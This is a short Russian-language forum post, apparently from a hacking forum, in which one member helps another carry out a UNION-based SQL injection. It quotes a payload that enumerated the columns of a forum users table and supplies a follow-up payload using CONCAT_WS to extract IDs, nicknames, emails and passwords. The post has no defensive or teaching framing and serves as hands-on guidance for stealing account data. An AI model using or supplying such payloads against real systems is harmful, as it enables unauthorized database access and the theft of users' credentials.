
31.03.2013, 11:06
|
|
Участник форума
Регистрация: 10.01.2013
Сообщений: 100
Провел на форуме: 18665
Репутация:
27
|
|
Сообщение от LomasterII
а что дальше, как их выбирать?
запрос
Код HTML:
?q=532&n=108316' and 1=0 union select 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS where table_name='aph_forum_users' --
Выводит
Id
Nik
Email
Pasw
Ну у Вас выводятся имена столбцов таблицы. Чтобы вывести значения этих столбцов, просто впишите в запрос имена и укажите с какой таблицы делать выборку. В Вашем случает примерно так...
?q=532&n=108316' and 1=0 union select 1,CONCAT_WS(0x3a,Id,Nik,Email,Pasw),3,4,5,6,7 FROM aph_forum_users --
|
|
|